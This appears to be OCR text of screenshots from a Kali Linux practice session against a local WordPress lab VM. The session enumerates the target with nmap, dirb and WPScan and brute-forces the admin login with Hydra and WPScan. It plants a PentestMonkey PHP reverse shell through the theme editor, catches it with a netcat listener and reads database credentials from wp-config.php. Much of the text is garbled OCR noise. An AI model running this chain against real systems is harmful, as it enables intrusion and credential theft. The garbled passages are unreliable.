< 2.2.34 / < 2.4.27 - OPTIONS Memory Leak
CXF < 2.5.10/2.6.7/2.7.4 - Denial of Service
< 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow
mod_ssl < 2.8.7 OpenSSL - 'OpenFuckv2.c' Remote Buffer Ovﬁfflow (1)
mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
OpenMeetings 1.9.x < 3.1.0 - '.ZIP' File Directory Traversal
Tomcat < 5.5.17 - Remote Directory Listing
Tomcat < .18 - 'utf8' Directory Traversal
Tomcat < .18 - 'utf8' Directory Traversal (PoC)

< .

fi< 5,
/i< 5.

Tomcat 1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - ISP Upload Bypass / Remote Code Execution (1)
Tomcat < 1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - ISP Upload Bypass / Remote Code Execution (2)
Xerces-C XML Parser < 3.1.2 - Denial of Service (PoC)

Webfroot Shoutbox < ) - Local File Inclusion / Remote Code Execution

.0
.0
.0
.0

No Results
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-3) Import bookmarks... OffSec Kali Linux @ KaliTools ¢ KaliDocs X Kali Forums e\ KaliN

It works! /Z—

This is the default web page for this server.

The web server software is running but no content has been added, yet.
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-8 Import bookmarks... OffSec Kali Linux g KaliTools <« KaliDocs N Kali Forums

Not Found

The requested URL was not found on this server.

Apache/2.4.18 (Ubuntu) Server at 192.168.1.74 Port 80

Yt W RAEWWe JWOY WI+ R qlJt0

Ed Wbl YAYqt Og* quWRUT RAC Wheij Wt Wa Y Whe 3Whe 31 ¢ G Yt Wh
qulUnNYWe Uc WAYUcWGI R2¢T ¢calWRUql ¢cUNqAWAYU¢C WGI R2¢T ¢ E
fGecNRUCOY! Whe JWaqRIUWJWE ¢aRIOYI NoRUq!l ¢ Ulq

< > C ® - hitps://www.kali.org/
3] Import bookmarks... OffSec KaliLinux g KaliTools ¢ KaliDocs N Kali Forums

## ALl robots
User-agent: *

## Allow everything...
Disallow:

## ...expect for archived pages (kali-docs/kali-tools)

Disallow: /docs/development/leveraging-the-kali-bot/

Disallow: Jdo€s/Wirtualization/import-premade-virtualbox-legacy/
Disallow: /docs/vlytualization/install-vmware-guest-tools-legacy/
Disallow: /docs/virtualization/install-virtualbox-guest-additions-legacy/
Disallow: /docs/installation/mini-iso/

Disallow: /docs/nethunter/dojo-kali-linux-on-android/

Disallow: /tools/mfterm/

Disallow: /tools/libfreefare/

Disallow: /tools/libnfc/

Disallow: /tools/mfcuk/

Disallow: /tools/mfoc/

Disallow: /tools/sickle-tool/

Disallow: /tools/spectools/

Disallow: /docs/arm/efikamx/

Disallow: /docs/arm/imx-6ull-evk/

Disallow: /docs/arm/nanopi2/

Disallow: /docs/arm/raspberry-pi-with-luks-full-disk-encryption/

Az Dt WehRW JWGEYUT I ReWmw?Rt ¢cttYs WuRUql ¢ 0w

EVWPGWARet YWT JWE G WAE RY a
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-8 Import bookmarks... OffSec KaliLinux @ KaliTools < KaliDocs M KaliForums e Kali NetHunter Exploit-DB

Crawler Disallow: /
. uUMBot-LN Disallow: /
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http://192.168.1.74

DIRB v2.22
By The Dark Raver

START_TIME: Tue Mar 24 21:25:20 2026

URL_BASE: http://192.168.1.?4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.74/ ----
+ http://192.168.1.74/index.html (CODE:200|SIZE:177)
--> Testing: http://192.168.1.74/rails

OWHRYAOGRIDUACG We WI Wt #2 Al RI WHYt ¢t a


http://192.168.1.74/

+ http://192.168.1.74/index.html (CODE:200|SIZE:177)
==> DIRECTORY: http://192.168.1.74/secret/
+ http://192.168.1.74/server-status (CODE:403|SIZE:277)

---- Entering directory: http://192.168.1.74/secret/ ----
+ http://192.168.1.74/secret/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.1.74/secret/wp-admin/

=> DIRECTORY: http://192.168.1.74/secret/wp-content/

> DIRECTORY: http://192.168.1.74/secret/wp-includes/

http://192.168.1.74/secret/xmlrpc.php (CODE:405|SIZE:42)

---- Entering directory: http://192.168.1.74/secret/wp-admin/ ----
+ http://192.168.1.74/secret/wp-admin/admin.php (CODE:302|SIZE:0)
> DIRECTORY: http://192.168.1.74/secret/wp-admin/css/

> DIRECTORY: http://192.168.1.74/secret/wp-admin/images/

> DIRECTORY: http://192.168.1.74/secret/wp-admin/includes/
http://192.168.1.74/secret/wp-admin/index.php (CODE:302|SIZE:0)
> DIRECTORY: http://192.168.1.74/secret/wp-admin/js/

DIRECTORY: http://192.168.1.74/secret/wp—admi}/maint/
DIRECTORY: http://192.168.1.74/secret/wp-admin/network/
DIRECTORY: http://192.168.1.74/secret/wp-admin/user/

" u n

v

u u uw un 4+ u unu

H u u n
v

v

---- Entering directory: http://192.168.1.74/secret/wp-content/ ----
Al 2JHc We W Uq! ¢! WIUWmst BHI Wawa

C @ O A Not Secure 192.168.1.74/

-8 Import bookmarks... OffSec KaliLinux g KaliTools = KaliDocs % KaliForums X Kali NetHunter Exploit-DB

Skip to content
My secret blog

My secret blog

Just another WordPress site

L

Scroll down to content

Posts

Posted on November 16, 2017

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

M\
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9YUqRUzc¢caVYt WRYOWG ¢ Wi Chue RUC a
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192.168.1.74
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 18:45 CET
Nmap scan report for 192.168.1.74
Host is up (0.00039s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp ProfFTPD 1.3.3c
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d6:01:90:39:2d:8f:46:fb:03:86:73:b3:3c:54:7e:54 (RSA)
| 256 f1:f3:c0:dd:ba:a4:85:f7:13:9a:da:3a:bb:4d:93:04 (ECDSA)
|_ 256 12:e2:98:d2:a3:e7:36:4f:be:6b:ce:36:6b:7e:0d:9e (ED25519)
Ea/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| _http-title: Site doesn't have a title (text/html).
| _http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:BF:6C:02 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
0S CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
10S details: Linux 3.2 - 4.14, Linux 3.8 - 3.16
Network Distance: 1 hop
IService Info: 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT ADDRESS
1 0.39 ms 192.168.1.74

0S and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds

/home/alfonso
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@ Dejar de compartir
« C @ O A NotSecure http://192.168.1.74

3] Import bookmarks... OffSec KaliLinux §& Kali Tools Kali Docs ¥ Kali Forums

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.
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http://192.168.1.74

DIRB v2.22
By The Dark Raver

START_TIME: Wed Mar 25 18:47:52 2026
URL_BASE: http://192.168.1.74/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.74/ ----

+ http://192.168.1.74/index.html (CODE:200|SIZE:177)
==> DIRECTORY: http://192.168.1.74/secret/

+ http://192.168.1.74/server-status (CODE:403|SIZE:277)
B> Testing: http://192.168.1.74/sitemap.gz
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® a.php X
“a
<?php

/%

echo "Hello, World!";
4 ?

5 7>
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® a.php X
"o
1 <?php
2 $a = 8;
3  $b = 3;

4 echo $a + $b . "<br>"; // Addition

5 echo $a - $b . "<br>"; // Subtraction
echo $a * $b . "<br>"; // Multiplication
echo $a / $b . "<br>"; // Division

echo $a % $b . "<br>"; // Modulus

echo fa ** $b . "<br>"; // Exponentiation

10 7>
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29 B XUNTAEMPLE...  Areapersonall... o HEDIMACURS... €

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.
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< C 2% demo.ifichar.com/phpmyadm

g E XUNTAEMPLE...  Area personal |..

php L=
£ 8l e @ e Databases
Recent Favorites
- &0
+ demo
#~ . exconproyectos & Changi

= Server
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c 25 demo.ifichar.com/phpmyadmin/ ‘

>
- B XUNTAEMPLE... n Areapersonal|... 5 HEDIMACURS... € HAZERTA By Traducir ™ Gmail | Consultas-Go... B Yo

php
Welcome to php
Login §
Username &
Password:  ssessss —
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DIRB v2.22
By The Dark Raver

START_TIME: Wed Mar 25 19:21:05 2026
URL_BASE: https://demo.ifichar.com/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

---- Scanning URL: https://demo.ifichar.com/ ----

==> DIRECTORY: https://demo.ifichar.com/api/

+ https://demo.ifichar.com/cgi-bin/ (CODE:403|SIZE:239)
--> Testing: https://demo.ifichar.com/dynamic

—_
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-8) Import bookmarks...

phpMugA ]
Welcome to phpMyAdmin

Log in &

Usermname: k
Password:

Log in
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Instalar aplicacién web

En el dominio demo . ifichar.com

Opciones de instalacion de aplicaciones web
Aplicacion web para instalar Allow logins with empty passwords
phpMyAdmin Yes o No
Deseripcién de la aplicacién web Automatically login to phpMyAdmin
A browser-based MySQL database management interface Yes * No

Versién a instalar Database to manage
523 * All databases Only selected ..
Versién del instalador de la aplicacién web
132
Lenguaj de programacién
PHP
Website original Install sub-directory under public_ftnl
1w /
http://www phpmyadmin.net, Atoplevel © | [TRRSEEETR
Usar como i del sistema phpMy i
Si ® No Include all languages
e si No
Protect phpMyAdmin with login and password
Si » No

© Regresar a lista de aplicaciones web € Regresar a Detalles del servidor virtual

OWiYWHEGARE a



Instalar aplicacion web

En el dominio demo.ifichar.com

Opciones de instalacion de aplicaciones web

Aplicacion web para instalar Allow logins with empty passwords
phpMyAdmin Yes » No

Descripcion de la aplicacién web Automatically login to phpMyAdmin
A browser-based MySQL database management interface Yes » No

Versién a instalar Database to manage

523 # All databases Only selected

Versién del instalador de la aplicacién web
13

Lenguaj de programacién

PHP
Website original Install sub-directory under public_html
hitp://wwew phpmyadmin.net Attoplevel ® | gestordebbdd
Usar como pi i del sistema phpMy e
sl No include all languages

Si N
Protect phpMyAdmin with login and password e °
Si » No

EVOW2 JAWT DWbGEGG! ¢T GRUHAIG YWaGcea e WsuNWt qY!I T WAAT T w
x JW2 2 1302 UWe WG aiGe la ldlld Gl idde IR BRI b2 DU ql ¢ WUCET ¢ B

OYURGz2WRAIUEBHEANIG Y WI+FGYUWI WHRWI qVYt W RI WDHRqYI RYt ALWF
G6Ga! ¢T ARUAWGEGUGCRTNI B

A
d
d

6GUCROI Wt WeUcWiRAI I Re Whe JW RWa¢cWet ¢GYH W INe
RAI I Re Wt We Ulldg! YAYWT WWHRZT RNDY Whe JWqUWe! 2T ¢ We LWC
RAI 31 R¢ Wit Yn aqs@RIDL dudue WHN HIGHGIWIH Y R IDAWUHE Y T | 1Y WG I H

2017-10- F !

017-06:21 o

2017-0517 s

20161226 s

017-01-02 -

016-12-29 s o

201612:25 s o D,

0161 s D
2 Remote Code Executior i

2016122 s o i

cc¢! Whe JWaqUWI Wrz RT ¢T YWhe JW RWgqWUNY WG WGE GA¢ RIII
T UWWnedaYWGe It WaGWIWG2 3T JOWTYT I B

AYI WPGGYAWE GIRACHRY UL W Wi Ut #2 Al RGRWVWUqY W Wl 1t
Tt He Al RI W220001 ¢cARGRT ¢T 13t WowWl RnJI 3Uqt B

cecHUOWa UWUecUYWoeat | ot 6¢l Vol RI Hos YI T OGRYt qt oHY GG Y UIHOq


https://ifichar.com/

alfonso@kali: ~

GNU nano 8.6 /usr/share/dirb/wordlists/common.tx

outreach
oversikt
overview

packaging
packed

pad

page

page_1
page_2
page_samplel
pagel N
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OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File Options About Help

-Target URL {eg http:/fexample.com: 30/

N |httpno2.168.1.74

—
Work Method Use GET requests only (») Auto Switch (HEAD and GET)
Number Of Threads .—{\_) v 10 Threads [ | Go Faster
Select scanning type: *) List based brute force () Pure Brute Force
File with list of dirs/files — é
fusrfsharefwordlists/dirbuster/directony-list-1.0.txt . | &, Browse | | @ List Info
Select starting options: *) Standard start point ) URL Fuz
[v] Brute Force Dirs 'v| Be Recursive Dir to start with |/ |
[¥] Brute Force Files 1 Use Blank Extension File extension .php |
[ @Elexit grStan |
Please complete the test details '
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GENERATED WORDS: 4612

---- Scanning URL: http://192.168.1.74/ ----

+ http://192.168.1.74/index.html (CODE:200|SIZE:177)
==> DIRECTORY: http://192.168.1.74/secret/

+ http://192.168.1.74/server-status (CODE:403|SIZE:277)

~_N U VW e

---- Entering directory: http://192.168.1.74/secret/ ----
+ http://192.168.1.74/secret/index.php (CODE:301|SIZE:0)
==> DIRECTORY: http://192.168.1.74/secret/wp-admin/

==> DIRECTORY: http://192.168.1.74/secret/wp-content/

==> DIRECTORY: http://192.168.1.74/secret/vwp-includes/

+ http://192.168.1.74/secret/xmlrpc.php (CODE:405|SIZE:42)

wow W

---- Entering directory: http://192.168.1.74/secret/wp-admin/ ----
+ http://192.168.1.74/secret/wp-admin/admin.php (CODE:302|SIZE:0)
==> DIRECTORY: http://192.168.1.74/secret/wp-admin/css/

=> DIRECTORY: http://192.168.1.74/secret/wp-admin/images/

> DIRECTORY: http://192.168.1.74/secret/wp-admin/includes/
http://192.168.1.74/secret/wp-admin/index.php (CODE:302|SIZE:0)
> DIRECTORY: http://192.168.1.74/secret/vp-admin/js/

> DIRECTORY: http://192.168.1.74/secret/wp-admin/maint/

> DIRECTORY: http://192.168.1.74/secret/wp-admin/network/
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C @ O A NotSecure h 192.168.1.74

-8 Import bookmarks... OffSec Kali Linux f& Kali Tools Kali Docs %, Kali Forums Kali Net

Skip to content
My secret blog

My secret blog

Just another WordPress site

Scroll down to content

Posts

| Posted on November 16, 2017

| Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!
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Common WPScan Examples

» Basic Scan: Scans for WordPress version, theme, and plugins.
wpscan --url https://example.com

Enumerate Vulnerable Plugin: Traducir  gins known to be vulnerable.

wpscan --url https://exampl enumerate vp

Enumerate Usernames: Attempts to find user accounts.
wpscan --url https://example.com --enumerate u

Full Enumeration: Scans for plugins, themes, and config backups.

wpscan --url https://example.com --enumerate ap,at,cb

Run with Docker:
docker run -it --rm wpscanteam/wpscan --url https://example.com -

enumerate u & WPScan +4

EOWRawyUe Wl ¢ quaWROqUUOqe!l CwlUe Gl é1 WGGaNRUOY W2 e
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http://192.168.1.74/secret/
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WordPress Security Scanner by the WPScan Team
Version 3.8.28

a_WPScan_, gethicalhack3r, gerwan_lr, gfirefart

Updating the Database ...
Update completed.

URL: http://192.168.1.74/secret/ [192.168.1.74]
Started: Wed Mar 25 19:40:13 2026

Interesting Finding(s):

Headers
| Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%



http://192.168.1.74/secret

Interesting Finding(s)

Headers

Interesting Entry: Server: Apache/2.4.18 (Ubuntu)
Found By: Headers (Passive Detection)

Confidence: 100%

XML-RPC seems to be enabled: http://192.168.1.74/secret/xmlrpc.php

Found By: Direct Access (Aggressive Detection)
Confidence: 100%
References:

- http://codex.wordpress.org/XML-RPC_Pingback_API

- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/

- https://wemi.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/

- https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/

- https://wew.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

WordPress readme found: http://192.168.1.74/secret/readme.html
Found By: Direct Access (Aggressive Detection)
Confidence: 100%

The external WP-Cron seems to be enabled: http://192.168.1.74/secret/wp-cron.php
Found By: Direct Access (Aggressive Detection)
Confidence: 60%
References:

- https://wew.iplocation.net/defend-wordpress-from-ddos

- https://github.com/wpscanteam/wpscan/issues/1299

WordPress version 4.9 identified (Insecure, released on 2017-11-16).

Found By: Emoji Settings (Passive Detection)

- http://192.168.1.74/secret/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.9"
Confirmed By: Meta Generator (Passive Detection)

- http://192.168.1.74/secret/, Match: 'WordPress 4.9'

The main theme could not be detected.

ccWRT WU0qR3HAeT YWeanNeUWGHe NRUWNe JWGe 3T ¢ Wt 131 W2edaUl

User(s) Identified:

RS
admin =
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

'] No WPScan API Token given, as a result vulnerability data has not been output.
You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

Finished: Wed Mar 25 19:40:15 2026
Requests Done: 65
Cached Requests: &
Data Sent: 14.411 KB
+] Data Received: 23.24 MB
+] Memory used: 150.82 MB
E)” 1 time: 00:00:01
{ ‘
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WordPress Security Scanner by the WPScan Team
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Posts

Posted on November 16, 2017

Hello world!

Welcome to WordPress. This is your first post. Edit or delete it, then start writing!

Search for: |searc | Search |

Recent Posts

« Hello world!

Recent Comments

« A WordPress Commenter on Hello world!

Archives

= Ngvember 2017

Categories

» Uncategorized

Meta

+ Log ir%

« Entries RSS

« Comments RSS
» WordPress.org

Proudly powered by WordPress
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root@kali: /etc

GNU nano 8.6 hosts *
.0.0.1 localhost

.0.1.1 kali

2.168.1.74 vicsec

11l 10(51host ip6-localhost ip6-loopback

ffo2::1 ip6-allnodes
ff02::2 ip6-allrouters

OWe6Y!l ¢cWecidlWerHgececdRACI a
= C @ 3 Not Secure  http://vtcsec/secret/index.php/2017/11/16/hello-world/

3] Import bookmarks... © 192168174

XML Sitemap - Colpbdes —
B3 elpais
elmundo

kali

example wpscan
balon

exploit for CVE-2016-6210

algoritmo encriptacién reversive mysql

start writing!

One Reply to “Hello world!”

NOVEMBER 16, 2017 AT 4:59 PM

@ A WordPress Commenter
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ERROR: The password you entered for the
username admin is incorrect. Lost your password

This connection is not secure. Logins

A entered here could be compromised.
Learn More

Lost your password?

« Back to My secret blog
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admin

D

orm 1d="loginforn™ name="loginform" action="htt|

o

0
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1. Basic Brute Force on wp-login.php

This command attempts to log in to a WordPress site using a list of usernames
(users.txt ) and passwords ( pass.txt ) against the wp-login.php
form. @ pentest-Tools.com

bash 0

3ss.txt wordpress.example.com https-form-post \
"&pwd="PASS"&wp-submit=Log In&testcookie=1:F=Invalid username[\or password"’

OWdvYWicUAcwWIUWuecaRWHEGHRCUT YWHYY Ract a
p Ot ecim¢am RO
p ActtsYl T awoynuyweUWs Yl T aRt qt a
p AYOuwuawl YGRURY W
P 9CUARCGWIGWGENUL ¢ TWa Weix Y k2D 0B § QG 1 Rq VY WJIU LW
Al YWa Wl ¢wiari vie

eYu21aYt Wl yawm It #e Ut YWe Wacect W=MaOMa

admin -+ c.txt vigEE http-forn-post

Hydra v9.6 (c) 2023 by va HC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these s+ ignore laws and ethics anyway).

er task
55" 6wp-submit=Log Instestcookie=1:F=The password you entered for the

of 4 [child 1] )

f 4 [child 2] (e/0)
[ATTENPT] - 2 4 [child 3] (o/0)
[se][ht : ad

026-03-25 20:21:55
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+| Requests Done: 19892
| Cached Requests: 7
Data Sent: 6.483 MB
+1 Data Received: 92.149 MB
| Mer— ~ used: 204.906 MB
El // ) time: 00:02:07

http://vtcsec/secret/ -« sw ; /usr/share/wordlists/rockyou. txt]]

owoYt Wi ¢cWet ecl RYW! WGEttsYIT a
User(s) Identified:

admin

Found By: Author Posts - Author Pattern (Passive Detection)
Confirmed By:

Rss Generator (Passive Detection)

Wp Json Api (Aggressive Detection)

- http://vtcsec/secret/index.php/wp-json/wp/v2/users/?per_page=100&page=1

Author Id Brute Forcing - Author Pattern (Aggressive Detection)

Login Error Messages (Aggressive Detection)

.+] Performing password attack on Wp Login against 1 user/s
[success] - admin / admin

Trying admin / alcala Time: 00:02:03 <
R

by

Valid Combinations Found:
| Username: admin, Password: admin

[1] No wPScan API Token given, as a result vulnerability data has not been output.
[1] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

EOW2 JAW WWI YHE! Yeloq+ qOWAYT | RcaVt We qRIRAGT Wle 13t

root@kali: ~

GNU nano 8.6

hola
peptio
admin
jdf
asd

vF
asdf
as

d

tue RWIJt Wn CHROWGY! hue JWWEE¢HRCEG YT We 2101 RNe ¢l YWhe IIWIII
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DATA] QLLACKING ' 0 0 ecrel/wp-LogL, Ot

[ATTEMPT] target vtcsec - in "admin" "hola" - 1 of 9 [child o] (o/e
[ATTEMPT] target vtcsec in "admin” "peptio” - 2 of 9 [child 1] (e/0)
[ATTEMPT] target vtcsec in "admin” "admin® - 3 of 9 [child 2] (0/0)
[ATTEMPT] target vtcsec in "admin" "jdf" - 4 of 9 [child 3] (0/0)
[ATTEMPT] target vtcsec in "admin” "asd” - 5 of 9 [child 4] (0/0)
[ATTEMPT] target vtcsec in "admin” "f* - 6 of 9 [child 5] (0/0)
[ATTEMPT] target vtcsec in "admin" "asdf" - 7 of 9 [child 6] (e/0)
[ATTEMPT] target vtcsec in "admin" "as" - 8 of 9 [child 7] (e/0)
[ATTEMPT] target vtcsec - in "admin" "d" - 9 of 9 [child 8] (0/0)
[80][http-post-form] host: vtcsec login: admin  password: FLLoLY

1 of 1 ~get successfully completed, 1 valid password found

Hydra| /” s://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-25 20:42:37

~
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-8 Import bookmiarks... ffS Kali Linux # Kali Tools Kali Docs X Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

& A Mys: g O s + New

@ Dashboard

WordPress 6.9.4 is available! Please update now.

Home
Updates @ Dashboard
»
0y M Welcome to WordPress!
We've assembled some links to get you started:
[ ] © Get Started Next Steps More Actions
K’ Write yourfirst blog post Manage widgets or menus
» Appearance Customize Your Site
+ Addan About page B Turn comments on or off
K¢ Plugins @
or, change your theme completely B View your site & Learn more about getting started
& u
& T
6 sett Ata Glance B Quick Draft B
0 « ne A 1Post M 1Page i
® 1 comment
n your
WordPress 4.9 running Twenty Seventeen Update to 6.9.4

theme.

6Yl ¢cWGe!l ¢Wt WNeal RT ET a

AYUWI We UWGGe NRUWGE! ¢ WW2Rq¢ | WE qec e 13t W WWne 131 A¢ WF

Add Plugins  upload piugin x

Solid Security - Password, 7 Limit Login Attempts Anti-Malware Security and
Two Factor Authentication, Reloaded - Login Security, . Brute-Force Firewall
and Brute Force Protection 2FA, Brute Force Protection & e ki o

\ ' Firewall Sl

Last Updated:
Last Updated: 4 weeks a  Conectitte olt
X incompatible w f WordPr Last Updated: 9 b

v Compatible with
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Twenty Seventeen: Stylesheet (style.css) Salact theme o,

Selected file content. Theme Files

L}
-
margi
y
y
N ~ o s ~ ) Y
OWGe Ut WA WWGEYUIRWIUWYGWnYYqlll
U T TIeIe
Twenty Seventeen: Theme Footer (footer.php) E
Selected file content:
<footer id="colophon" class="site-footer" role="contentinfo">
<div class="wrap">
hola soy Alfonso
<?php l
get_template part{™template-parts/footer/footer’, 'widgets' );
if { has_nav_menu{ ‘social' ) ) : 7>
<nav class="social-navigation" role="navigation" aria-label="<7?php esc_attr_e( 'Footer Social Links Menu', 'twentyseventeen' )

<7php
wp_nav_menu( array(
theme location' => 'social’,

‘menu_class’ => ‘social-links-menu’,
‘depth’ =1,
"link_before’ => '<span class="screen-reader-text"s',
"link_after* -> '</span>' . twentyseventeen_get_svg( array( 'icon' => "chain' ) ),
) )
</nav><!-- .social-navigation -->

<?php endif;
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Twenty Seventeen: Theme Footer (footer.php)

Selected file content:

<7php
The template for displaying the foote
Contain closing he #cont 1i id ) t af
111 htt / pe I 1/t /b YA la 1le #temg te-f tial
jpackage WordP
] ackage T
iIsince 1.6
] ion 1.
’a..l"’di".""'-'!" :':.’I'-It’;.'._. -->

<footer id="colophon" class="site-footer" role="contentinfo">
<div class="wrap"=>

<?php

$a = 5;

$b = 8;

tsuma = %a + $b;

echo "El total es: " . $suma;

7

=?php

aget template part( 'template-parts/footer/footer'. 'widaets' ):
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O 8 www.revshells.com
Hablando: MSL Formaci6én

Kali Linux # Kali Tools Kali Docs & Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Theme Dark

Reverse Shell Generator

@ Advanced

IP & Port Listener

P 196.168.1.76 Port 9001 [eed

# nc -lvnp

Type nc

Reverse Bind MSFVenom HoaxShell

PHP passthru
# php -r '$sock=fsockopen("

PHP*

PHP popen

?RANV W JWUY WG JW2 ¢ dWbAc Awliéct RWhe WWGI 2 JA¢ WHY U WA
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Hablando: MSL Formacién
Kali Linux 7 Kali Tools Kali Docs % Kali Forums Kali NetHunter Exploit-DB Google Hacking DB

Theme | Dark . & . D T 11 E] f @ 'C-J

4 com| n ¢ "7 m Dejar de i
Rever.’\. ~TICTT e TCracwd —

IP & Port Listener

P 196.168.1.76 Port 9001 |

# nc -lvnp

Type nc

Reverse Bind MSFVenom HoaxShell

Name

Perlno sh

Perl PentestMonkey ¥ <7php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments
PHP PentestMonkey stripped to slim it down. RE: https://raw.githubusercontent.com/
pentestmonkey/php-reverse-shel ter/php-rever
24 1 007 s es Bl
PHP Ivan Sincek // Copyright (C) 2007 pentestmc Y ntestmonkey

set_time_limit (©); [f
$VERSION = "1.0";
$ip = '

PHP cmd

ENWHYGRG WG WHZT ROYWAc AWGe !l ¢ WRUqWUqel WRO! Weqe!l G°
x YWaqRWUUWe JWHYGRe | WIUWE & NE T LG E 6 R 6 TUVURITI LK o W ¥ 1S
n Y ey 13|

Et qUWHZT RNDYWe qRIRACWAcAWGE! ¢WeEHI RI WeUeWHYUWFRZU
Yl ¢cWt JW2¢We Wt ¢caRW! WITKUHzqC a

IP & Port Listener

P 196.168.1.76 Port 92001 |

m WL GWdMMN

-~

[sudo] contrasena para alfonso:
/home/alfonso
) 9001

listening on [any] 9001 ...

EOqYUHRNE WGYUWWE RWSE Chue RUc We q¢ e Uglile Wa ¢ Wt He HE ¢ L

ciNaU¢c WGNqRARZUWIU WG ¢ Ws WAHa
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&Y @& Mysecretblog # Customize O 4 B + New

& 4

| ® Dejar de compart

Logged in as admin. Log out?
March 2026

Comment
November 2017

CATEGORIES

Uncategorized

META

Site Admin
L3
Post Comment Log out
Entries RSS
Comments RSS
WordPress.org
PREVIOUS

& Hello world!

‘ Proudly powered by W

WARNING: Failed to daemonise. This is quite common and not fatal. No route to host (113)

Al YWOY WS WWIt qCwi ¢ U7 YWGY! hue JWa W ¢ We UWII 1 Y1 WIdL

ERUYWG6 ¢ Al R¢ Whe WG YA¢! WYql ¢ WIGYt RARGRI ¢
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tOLLI
EUWI ¢ WwreJUqc¢ Whe JW6 ¢ HRE WGe2 13t qqYLWa ¢ O WG ¢ Wf AAWd e WHY I

IP & Port Listener

IP 192.168.1.76 Port 9001 g

Reverse Bind MSFVenom HoaxShell

Perlno sh

Perl PentestMonkey
L1 - A Reverse Shell implementation in PHP. Comments

PHP PentestMonkey ripped to slim it down. RE: https://raw.githubusercontent.com/

estmonkey/php-re hell/master/php-reve hell.php

PHP Ivan Sincek // Copyright (C) 2607 pentestmonkey@pentestmonkey.net

¢2Ni2V0We WRYGRE! WPIGWHZT RDYAWG YWGUNE W WAHE TY W 130 Wr
G¢cUT ¢l WeUce WGUWqRAHARZ UWeE WG ¢ Ws WAHa



[sudo] contraseiia para alfonso:
/home/alfonso
) 9001 \9 4
listening on [any] 9001 ... id
connect to [192.168.1.76] from (UNKNOWN) [192.168.1.74] 33758 "
Linux vtcsec 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48 UTC 2017 x86_64 x86_64 X86_64 GNU
16:02:30 up 2:19, 0O users, load average: 0.00, 0.10, 0.56
USER TTY FROM LOGINg IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ s
bin
boot
cdrom
dev
etc
home
initrd.img
lib
1ib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz

OWe 6Vl ¢ W RWhue JWG W ¢ a0
ccHl
M LGt
Yl ¢ WqRI ¢ a
MLWGs T
MLWHT W6 Yall
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whoami
wwwi-data
$ sudo su

sudo su
[sudo] password for www-data:
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whoami

wwvi-data

script /dev/null bash

Script started, file is /dev/null
$ 1s

ls

index.php wp-blog-header.php wp-includes wp-settings.php
license.txt wp-comments-post.php wp-links-opml.php wp-signup.php
readme . html wp-config.php wp-load.php wp-trackback.php
wp-activate.php wp-content wp-login.php xmlrpc.php
wp-admin wp-cron.php wp-mail.php

$ cal

ccHa
M LWH e e GRUNT 1OG6 G

~2! WRU@WI Wt ¢UqUWGY! hue JWIIt qYWIt wWacwryU3znel ¢cARZUL
Ge T WWIURYUql ¢l WG Wet ec!l RYW! WacWHYUql ¢t Y W 1JWi
ERWOYt W ecHWIGYH W ¢cwrYOWIaGWEYUq! YoWwl JWGeéwz ¢t awi L
M LUHE ¢ WE §N0G6 G
* Secret keys
* Database table prefix
* ABSPATH
alink https://codex.wordpress.org/Editing_wp-config.php
apackage WordPress
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'wp_myblog');

/*% MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
dejine('DB_PASSWORD', 'arootmysqlpass');

/** MySQL hostname */
define('DB_HOST', 'localhost');

/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8');

/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');

[ **85)+
* Authentication Unique Keys and Salts.

